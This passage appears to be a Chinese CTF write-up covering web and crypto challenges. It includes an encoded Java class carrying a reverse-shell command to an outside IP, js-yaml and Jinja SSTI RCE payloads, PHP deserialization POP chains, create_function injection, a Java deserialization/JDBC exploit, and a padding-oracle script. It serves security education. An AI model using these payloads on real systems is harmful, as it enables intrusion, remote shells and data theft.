xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.
image.png
image.png
image.png

 

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么
image.png
发现能解析方法
image.png
js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
image.png
然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

  • 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
  • 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
  • 读源码

5.代码审计

image.png

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
image.png

这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

image.png
此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!
ac96bbdda6fc47f443ea66c992fe1300.png

 

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

image-20231105160341904.png

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
python2 md5.py "666" 0 

image-20231118204400660.png
三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:
image.png
或者用DirectoryIterator类:
image.png

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

image.png

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:
image.png

 

 

what’s my name

@$miao=create_function('$a, $b', $sort_function);
  • 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
  • 要进入该函数需要过三个条件
  • 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
  • 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
  • 第二个条件
strlen($d0g3)==substr($miao, -2)
  • 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
  • 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
  • 第三个条件
$name===$miao
  • 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
  • 这个问题也可以通过脚本得到解决
  • 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
  • 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))
 

ez_java

根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
image.png
由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:
image.png
text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击:
/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

 

 

crypto

010101

将前半部分和后半部分分别异或1进行还原,最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1, e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
